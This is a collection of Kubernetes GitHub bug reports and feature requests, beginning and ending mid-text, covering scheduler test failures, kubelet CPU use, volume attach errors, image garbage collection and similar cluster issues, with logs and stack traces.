persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found, which is unexpected., \r schedulerpredicates failed due to persistentvolumeclaims \ mongodb\  not found.........\r    \r \r this issue has been addressed by https://github.com/kubernetes/kubernetes/pull/47003

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r the  kubefed init  will install federation control panel on worker node randomly, sometimes, the user have some requirement want to use  nodeselector  to have some it run on some dedicate node.\r \r the  kubefed init  cannot enable users specify  nodeselector  for now, but only options as following:\r    \r       --api-server-advertise-address string      preferred address to advertise api server nodeport service. valid only if 'api-server-service-type=nodeport'.\r       --api-server-service-type string           the type of service to create for federation api server. options: 'loadbalancer'  default , 'nodeport'.  default \ loadbalancer\  \r       --apiserver-arg-overrides string           comma separated list of federation-apiserver arguments to override: example \ --arg1=value1,--arg2=value2...\ \r       --apiserver-enable-basic-auth              enables http basic authentication for the federation-apiserver. defaults to false.\r       --apiserver-enable-token-auth              enables token authentication for the federation-apiserver. defaults to false.\r       --controllermanager-arg-overrides string   comma separated list of federation-controller-manager arguments to override: example \ --arg1=value1,--arg2=value2...\ \r       --dns-provider string                      dns provider to be used for this deployment.\r       --dns-provider-config string               config file path on local file system for configuring dns provider.\r       --dns-zone-name string                     dns suffix for this federation. federated service dns names are published with this suffix.\r       --dry-run                                  dry run without sending commands to server.\r       --etcd-image string                        image to use for etcd server.  default \ gcr.io/google_containers/etcd:3.0.17\  \r       --etcd-persistent-storage                  use persistent volume for etcd. defaults to 'true'.  default true \r       --etcd-pv-capacity string                  size of persistent volume claim to be used for etcd.  default \ 10gi\  \r       --etcd-pv-storage-class string             the storage class of the persistent volume claim used for etcd.   must be provided if a default storage class is not enabled for the host cluster.\r       --federation-system-namespace string       namespace in the host cluster where the federation system components are installed  default \ federation-system\  \r       --host-cluster-context string              host cluster context\r       --image string                             image to use for federation api server and controller manager binaries.  default \ gcr.io/google_containers/hyperkube-amd64:v0.0.0-master+$format:%h$\  \r       --kubeconfig string                        path to the kubeconfig file to use for cli requests.\r    \r \r   what you expected to happen  :\r \r have  nodeselector  for both kubernetes and etcd.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r  \r \r   what happened  :  kubectl get pvc  returns the following:\r    \r name       status    capacity    access modes   storageclass   age\r myclaim    bound     pv-gcepd2   5gi            rox            slow      35m\r myclaim2   bound     pv-gcepd    5gi            rox            slow      25m\r    \r volume label is missing.\r \r   what you expected to happen  :\r    \r name       status    volume      capacity       access modes   storageclass   age\r myclaim    bound     pv-gcepd2   5gi            rox            slow           35m\r myclaim2   bound     pv-gcepd    5gi            rox            slow           25m\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.3928+7116f522eeee5c-dirty\ , gitcommit:\ 7116f522eeee5cf866c9b60de32bcecc6e74763b\ , gittreestate:\ dirty\ , builddate:\ 2017-08-18t01:09:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r kind bug\r \r   what happened  :\r  kube-kubelet  process runs with high  300%  cpu usage, resulting in delayed handing of pod creation and termination  possibly other issues as well . \r \r   what you expected to happen  :\r  kube-kubelet  runs with \ normal\  cpu usage. granted i don't know what \ normal\  should be.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start  kube-kubelet  and let it run for few days. i have observed high cpu usage  300%+  on  7d  old processes.\r \r   anything else we need to know?  :\r i suspect this issue is somehow  containerd  related. here is what i've tried:\r - restart  kube-kubelet  - no effect, cpu climbs right back\r - restart  docker  - no effect, cpu doesn't even drop\r - restart  containerd : after  kube-kubelet  comes back  restarted as a result of  containerd  restart  - cpu stays reasonably low  10%-20% .\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.7.6 \r - cloud provider or hardware configuration  :  aws  running on 40 cpu core instances\r - os  e.g. from /etc/os-release : coreos 1465.8.0  ladybug \r - kernel  e.g.  uname -a  : linux ip-10-72-146-53.ec2.internal 4.12.14-coreos  1 smp wed sep 20 22:20:05 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux \r - install tools: \r - others: attached  pprof  before and after  containerd  restart\r \r ! kubelet-before  https://user-images.githubusercontent.com/324803/31921587-043d9b2a-b825-11e7-9717-a57634d77d64.png \r ! kubelet-after  https://user-images.githubusercontent.com/324803/31921593-092796fe-b825-11e7-9034-c74bfd0d7b7b.png \r \r minion sample:\r    \r ip-10-72-123-456.ec2.internal   ready     7d        v1.7.6 %cpu %mem 5.5  0.1 <--\r ip-10-72-123-567.ec2.internal   ready     7d        v1.7.6 %cpu %mem 330  0.1\r ip-10-72-123-678.ec2.internal   ready     7d        v1.7.6 %cpu %mem 307  0.1\r ip-10-72-123-123.ec2.internal   ready     7d        v1.7.6 %cpu %mem 4.4  0.1 <--\r ip-10-72-123-234.ec2.internal   ready     7d        v1.7.6 %cpu %mem 316  0.1\r ip-10-72-123-345.ec2.internal   ready     7d        v1.7.6 %cpu %mem 4.4  0.1 <--\r

the admission webhook story of 1.9 includes that extension api server can/will use the admission webhooks registered automatically. for that the webhook admission plugin must be set up in each extension api server. this should be automatic, i.e. part of the  recommendedoptions .

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r attempted to create a service with a pod label selector for the label named  statefulset.kubernetes.io/pod-name . received the following error in response:  the service \ my-service\  is invalid: spec.selector: invalid value: \ statefulset.kubernetes.io/pod-name\ : a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character  e.g. 'myvalue',  or 'my_value',  or '12345', regex used for validation is '   a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9  ?'  \r \r   what you expected to happen  :\r the service would be created and select the pod s  with the specified name\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  kubectl create -f test.yaml  where  test.yaml  contains the following:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: my-service\r spec:\r   ports:\r   - name: my-listener\r     port: 8080\r   selector:\r     name: statefulset.kubernetes.io/pod-name\r     value: my-statefulset-0\r   type: clusterip\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r  client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r  server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r  linux poweld-laptop 4.13.0-26-generic  29~16.04.2-ubuntu smp tue jan 9 22:00:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when we delete a pod via the api the container s  within that pod are terminated gracefully and all. however, the pod is removed immediately after all the containers are terminated. this is an issue b/c our fluentd daemonset doesn't have enough time to pick up the remaining logs associated with the container before they are removed with the pod going away. \r \r is there a world where we could either provide a setting that staggers the removal of the pod after the containers are terminated on a pod deletion or just delete the containers associated with the pod but not the pod itself?\r  \r   what you expected to happen  :\r i expect to be able to access logs for a pod for some period of time after deleting a pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r on a system that has no internet access, run  kubeadm alpha phase certs etcd-ca \r after a while the following error message is displayed:\r    \r unable to get url \ https://dl.k8s.io/release/stable-1.10.txt\ : get https://dl.k8s.io/release/stable-1.10.txt: dial tcp 23.236.58.218:443: getsockopt: connection timed out\r    \r \r   what you expected to happen  :\r \r the certificates get created\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the command on a machine without internet access. \r \r   anything else we need to know?  :\r \r it would probably be a good idea to introduce a global flag for setting a kubernetes version from the command line, so that the above query can be skipped. some kubeadm commands already provide this. \r \r   environment  :\r - kubeadm version 1.10.4-0

in kind of the same vein as  10323 kubernetes should allow for a service to repoint a google cloud dns entry to the  newly created  loadbalancer's ip to make the entrypoint publically accessible.

in cases when a pod creation fails  in my case kube-dns restarted but failed  due to node having a \ read-only file system\  the pod should be assigned to a different node. i believe rofs errors are not currently caught.  events on the failing pod:  events:   firstseen    lastseen    count    from                    subobjectpath    reason        message   1h        5s        483    {kubelet ip-xxx.ec2.internal}            failedsync    error syncing pod, skipping: mkdir /mnt/ephemeral/kubernetes/kubelet/pods/d5277dcb-d0e8-11e5-8d44-0a58bb451775: read-only file system   @thockin helped to debug the issue.

the service controller can make an unnecessary call to the cloud provider to get a load balancer for the service, even if one is not defined, if that service is updated: https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/servicecontroller.go l263  ... this can surface to the user with an event that makes it look like: 1.  the service controller incorrectly attempted to create a load balancer 2.  that incorrect load balancer creation failed  ...if the cloud account isn't permissioned to get load balancers.  example:      2016-08-15t23:28:29z   2016-08-15t23:28:29z   1         cakephp-mysql-example   service             warning   creatingloadbalancerfailed   {service-controller }   error creating load balancer  will retry : error getting lb for service dakinitest/cakephp-mysql-example: accessdenied: user: :user/cloud_provider is not authorized to perform: elasticloadbalancing:describeloadbalancers      the fix should be to: 1. not make the  getloadbalancer  call if it is unnecessary  ie, if the service was updated, but never had type=loadbalancer 2. if the behavior is that the controller is deleting the load balancer, the event associated with a failure should not be  creatingloadbalancerfailed

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-test-go/19319/  failed: testnamespacecontroller {namespace}      panic: interface conversion: interface is nil, not  v1.namespace /usr/local/go/src/runtime/panic.go:500 +0x1ae /usr/local/go/src/testing/testing.go:579 +0x474 /usr/local/go/src/runtime/panic.go:458 +0x271 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/namespace/namespace_controller_test.go:200 +0x74 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/namespace/namespace_controller_test.go:140 +0x1aab /usr/local/go/src/testing/testing.go:610 +0xca /usr/local/go/src/testing/testing.go:646 +0x530       previous issues for this test:  30855  33838

triage query  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=1-5-. -1-7. upgrade&test=schedulerpredicates \r \r within the above link can be found failures for\r   schedulerpredicates  serial  validates that inter-pod-affinity is respected if not matching\r   schedulerpredicates  serial  validates that interpodantiaffinity is respected if matching 2\r   schedulerpredicates  serial  validates that nodeaffinity is respected if not matching\r   schedulerpredicates  serial  validates that taints-tolerations is respected if not matching\r   schedulerpredicates  serial  validates that interpodaffinity is respected if matching\r   schedulerpredicates  serial  validates that interpod affinity and antiaffinity is respected if matching\r   schedulerpredicates  serial  validates that embedding the json podaffinity and podantiaffinity setting as a string in the annotation value work\r   schedulerpredicates  serial  validates that interpodaffinity is respected if matching with multiple affinities\r \r     sampled failures:\r \r  schedulerpredicates  serial  validates that inter-pod-affinity is respected if not matching  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster/18 k8sio-schedulerpredicates-serial-validates-that-inter-pod-affinity-is-respected-if-not-matching \r \r    \r go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:461\r not scheduled pods:   api.pod nil \r expected\r     <int>: 0\r to equal\r     <int>: 1\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:930\r    \r \r  schedulerpredicates  serial  validates that interpod affinity and antiaffinity is respected if matching  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster/18 k8sio-schedulerpredicates-serial-validates-that-interpod-affinity-and-antiaffinity-is-respected-if-matching \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:640\r expected\r     <string>: gke-bootstrap-e2e-default-pool-efb8e5cb-rvjc\r to equal\r     <string>: gke-bootstrap-e2e-default-pool-efb8e5cb-nt2j\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:639\r    \r \r other failures look similar.\r \r  /assign @davidopp\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r currently, ipvs proxier only runs in linux platfrom.\r \r   what you expected to happen  :\r \r run ipvs proxier uts everywhere, including !linux platfrom, which will help a lot when developing in windows platfrom.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r   what happened  :\r \r if you have a host which has pulled images that are not used as part of kubernetes  they aren't images that are used by any pods , and then trigger  image_gc_manager , those images may be removed  if they're large enough . this can cause a lot of issues if you have a system that uses both k8s and more traditional containers on the same container runtime  for instance if you have k8s running but also some management tools that run in containers outside of k8s .\r \r   what you expected to happen  :\r \r  image_gc_manager  should  ideally  only remove images that were pulled by kubelet in the first place. from my understanding the purpose of  image_gc_manager  is to avoid image store churn if you have pod churn, while also allowing for disk reclaim. it's an amortization over removing all images that a pod was using if it was the last pod using said images. therefore it would make sense\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r on a kubernetes host:\r    \r % docker pull alpine\r %   wait a while\r % dd if=/dev/zero of=/waste_space.bin bs=1g count=20\r %   now wait for image_gc_manager to trigger\r % docker images | grep alpine   missing, assuming you have no pods with alpine\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.7.7   but the code still exists in  master  \r - cloud provider or hardware configuration: suse caas platform 2\r - os  e.g. from /etc/os-release : suse caas platform 2

this is a discussion that came up few times already in the past. it'll be really helpful to have those in light of recent regressions we'd seen due to etcd changes, like:\r \r - https://github.com/kubernetes/kubernetes/issues/60589 issuecomment-371171837\r - https://github.com/kubernetes/kubernetes/issues/62064 issuecomment-384355538\r - also to help with https://github.com/kubernetes/kubernetes/issues/63245\r \r etcd exposes a  bunch of metrics  https://coreos.com/etcd/docs/latest/metrics.html , out of which few that're most interesting to us imo are:\r \r - backend_commit_duration_seconds\r - snapshot_save_total_duration_seconds\r - peer_round_trip_time_seconds  probably not so important for our scalability tests that're all single-node etcd setups, except  gke-regional-performance  https://k8s-testgrid.appspot.com/sig-scalability-gke gke-large-performance-regional  one \r - sth else?\r \r we should:\r \r -  x  collect those metrics through our test framework  similar to how we're doing for apiserver \r -  x  plot those metrics on our performance dashboard\r \r cc @kubernetes/sig-scalability-misc @kubernetes/sig-api-machinery-misc @wojtek-t @jpbetz @jberkus

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r i depoy my ingress-nginx controller use 'hostnetwork: true'.\r when i do not configure the 'host' in my ingress.yaml file. now, i can visit my app use the host ip  such as 'http://192.168.56.201/app/index.html'  where the ingress-nginx-controller pod deployed. \r but i found the 'session affinity' cannot take effect. so i read the source code of ingress-nginx. i found it use the http request header 'host'  to choose the peer. in ingree-nginx , if you cannot configure 'host', the server_name is '\\_'. so when you use ip to visit your app, the request header of host is your ip address. the ip is not equal '\\_'. so i think the 'session affinity' cannot take effect.\r \r should the host can configure ip address in ingress? \r \r my kubernetes version is : 1.11.4\r ingress nginx version is : 0.21.0\r <!-- do not edit below this line -->\r \r  \r

we need to make sure that our diagnosis scripts  e.g. cluster/test-network.sh  and other cluster validation check for the presence of essential components like skydns, to make user's debugging their clusters easier.

test_owners.csv must be properly formed, or else the submit queue will get into a crash loop.  40183\r \r a verify check should be able to handle this.

is this a request for help?   \r no\r \r   what keywords did you search in kubernetes issues before filing this one?   \r critical pod spread\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r 1.5.3\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : debian/jessie\r -   kernel    e.g.  uname -a  : 4.4.41-k8s\r -   install tools  : kops v1.5.1\r -   others  : docker 1.12.3\r \r \r   what happened  :\r a single node failed with an issue that looked identical to: https://github.com/kubernetes/kubernetes/issues/42164\r \r it was noted that many of the pods running in the kube-system namespace were running on this single node including: both replicas of kube-dns, kube-dashboard, heapster among a few others.  this effectively means the cluster was completely non-operational for us as we rely on kube-dns.\r \r \r   what you expected to happen  :\r at minimum critical system pods of the same kind should never be scheduled to the same node.  ideally all pods within the kube-system namespace would be spread as much as possible across the nodes.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r i'm not certain how it got into this state, the cluster was never resource starved for cpu nor memory.\r \r \r   anything else we need to know  :\r is  podantiaffinity  the right solution here or should the scheduler just handle this as a special case automatically?\r

since:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/394\r kubemark-scale started consistently failing.\r \r it seems that some metrics are a bit higher  though this doesn't seem to be the problem .\r \r the main problem is that now all the runs are timing out. i looked into logs from few runs and the pattern seems to be exactly the same in all of them:\r \r - the phase between \ creating services\  and \ services created\  in load test is now ~2x longer.\r \r i looked into prs that were merged at that time and there is only one pr that may be related:\r https://github.com/kubernetes/kubernetes/pull/41636  bump go to 1.8.1 \r \r as a short term fix, i'm going to extend timeout of the kubemark-scale job, but we need to understand why this happened - this may potentially be a blocker for go 1.8.\r \r @k8s-mirror-scalability-bugs @luxas @ixdy @timothysc @smarterclayton @gmarek @shyamjvs

<!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.51+594edb77397512-dirty\ , gitcommit:\ 594edb773975124b137fa12bc573478a0355e89c\ , gittreestate:\ dirty\ , builddate:\ 2017-06-20t10:51:10z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.51+594edb77397512-dirty\ , gitcommit:\ 594edb773975124b137fa12bc573478a0355e89c\ , gittreestate:\ dirty\ , builddate:\ 2017-06-20t11:29:14z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what happened  : after adding  failure-domain.beta.kubernetes.io/zone  label to a node, node controller panics.\r \r \r   what you expected to happen  : everything should still work.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r run  \ cluster/kubectl.sh\  label  nodes --all failure-domain.beta.kubernetes.io/zone=zone  and wait for the node controller to panic:\r \r    \r e0620 14:45:34.888655       1 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /home/salmon/code/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /home/salmon/code/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /home/salmon/code/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /home/salmon/.gimme/versions/go1.8.linux.amd64/src/runtime/asm_amd64.s:514\r /home/salmon/.gimme/versions/go1.8.linux.amd64/src/runtime/panic.go:489\r /home/salmon/.gimme/versions/go1.8.linux.amd64/src/runtime/panic.go:63\r /home/salmon/.gimme/versions/go1.8.linux.amd64/src/runtime/signal_unix.go:290\r /home/salmon/code/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/node/rate_limited_queue.go:244\r /home/salmon/code/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/node/nodecontroller.go:1023\r /home/salmon/code/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/node/nodecontroller.go:659\r /home/salmon/code/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/node/nodecontroller.go:490\r /home/salmon/code/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97\r /home/salmon/code/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98\r /home/salmon/code/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52\r /home/salmon/.gimme/versions/go1.8.linux.amd64/src/runtime/asm_amd64.s:2197\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r         panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x3484942 \r    \r \r   anything else we need to know  :\r \r i've checked the code and it looks like the node controller expects the label to be present during node registration and it can not be added later.\r even if the label can not be added latter it shouldn't panic.\r \r

when we run apiserver, it will consistently produce logs like:\r \r > i0620 15:27:44.627978 2765 compact.go:159  etcd: compacted rev  7825 , endpoints   http://127.0.0.1:2379  \r i0620 15:32:44.632311 2765 compact.go:159  etcd: compacted rev  8193 , endpoints   http://127.0.0.1:2379  \r i0620 15:37:44.643658 2765 compact.go:159  etcd: compacted rev  8552 , endpoints   http://127.0.0.1:2379  \r ...\r \r which does not mean much overall, we may change the loglevel and lower the frequency.

is this a bug report or feature request?:\r  \r   what happened:  \r one of the cluster worker nodes was powered off in vcenter.\r pods running on this node have been rescheduled on different nodes but got stuck in containercreating. it failed to attach the volume on the new node with error \ multi-attach error for volume pvc-xxx, volume is already exclusively attached to one node and can't be attached to another\  and hence the application running in the pod has no data available because the volume is not attached to the new node. the volume is still attached to powered off and no attempt is made to detach the volume by attach/detach controller. hence attach the volume on the new node failed with error \ multi-attach error\ . it's stuck for 6 minutes until attach/detach controller forcefully tried to detach the volume on the powered off node. after the end of 6 minutes when volume is detached on powered off node, the volume is now successfully attached on the new node and application has now the data available. \r \r   what you expected to happen:  \r pod should be started correctly on a different node, with volumes attached to it very quickly. for an application to be down for 6 minutes is very bad.\r \r   how to reproduce it  as minimally and precisely as possible :  \r \r - use k8s 1.7.0+ with vsphere cloud provider\r - delete the node from the cluster by powering off the node from vcenter.\r \r   anything else we need to know?:  \r \r below are the logs from controller manager.\r    \r {\ log\ :\ i0818 23:27:01.933677       1 controller_utils.go:285  recording status change nodenotready event message for node node2\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:01.933908764z\ }\r {\ log\ :\ i0818 23:27:01.934012       1 controller_utils.go:203  update ready status of pods on node  node2 \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:01.934110529z\ }\r {\ log\ :\ i0818 23:27:01.934384       1 event.go:218  event v1.objectreference{kind:\\\ node\\\ , namespace:\\\ \\\ , name:\\\ node2\\\ , uid:\\\ 14b8f7fb-846c-11e7-addd-0050569ccb52\\\ , apiversion:\\\ \\\ , resourceversion:\\\ \\\ , fieldpath:\\\ \\\ } : type: 'normal' reason: 'nodenotready' node node2 status is now: nodenotready\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:01.93448004z\ }\r {\ log\ :\ i0818 23:27:01.939006       1 controller_utils.go:220  updating ready status of pod redis-master-2401852951-w92hb to false\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:01.939064356z\ }\r {\ log\ :\ i0818 23:27:01.944968       1 controller_utils.go:220  updating ready status of pod heapster-v1.2.0-1794790591-94z4s to false\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:01.945054955z\ }\r {\ log\ :\ i0818 23:27:01.956548       1 controller_utils.go:220  updating ready status of pod kube-proxy-1lq8f to false\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:01.956639977z\ }\r {\ log\ :\ w0818 23:27:02.043661       1 vsphere.go:625  vm node2, is not in poweredon state\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:02.043753193z\ }\r {\ log\ :\ i0818 23:27:02.043759       1 controller_utils.go:274  recording deleting node node2 because it's not present according to cloud provider event message for node node2\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:02.043785273z\ }\r {\ log\ :\ i0818 23:27:02.044235       1 event.go:218  event v1.objectreference{kind:\\\ node\\\ , namespace:\\\ \\\ , name:\\\ node2\\\ , uid:\\\ 14b8f7fb-846c-11e7-addd-0050569ccb52\\\ , apiversion:\\\ \\\ , resourceversion:\\\ \\\ , fieldpath:\\\ \\\ } : type: 'normal' reason: 'deletingnode' node node2 event: deleting node node2 because it's not present according to cloud provider\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:02.044320987z\ }\r {\ log\ :\ i0818 23:27:02.050426       1 attach_detach_controller.go:465  error removing node \\\ node2\\\  from desired-state-of-world: failed to delete node \\\ node2\\\  from list of nodes managed by attach/detach controller--the node still contains 1 volumes in its list of volumes to attach\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:02.050519226z\ }\r {\ log\ :\ i0818 23:27:06.964846       1 gc_controller.go:162  found orphaned pod redis-master-2401852951-w92hb assigned to the node node2. deleting.\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:06.96761137z\ }\r {\ log\ :\ i0818 23:27:06.964850       1 gc_controller.go:62  podgc is force deleting pod: default:redis-master-2401852951-w92hb\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:06.967620391z\ }\r {\ log\ :\ i0818 23:27:06.987612       1 replica_set.go:455  too few \\\ default\\\ /\\\ redis-master-2401852951\\\  replicas, need 1, creating 1\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 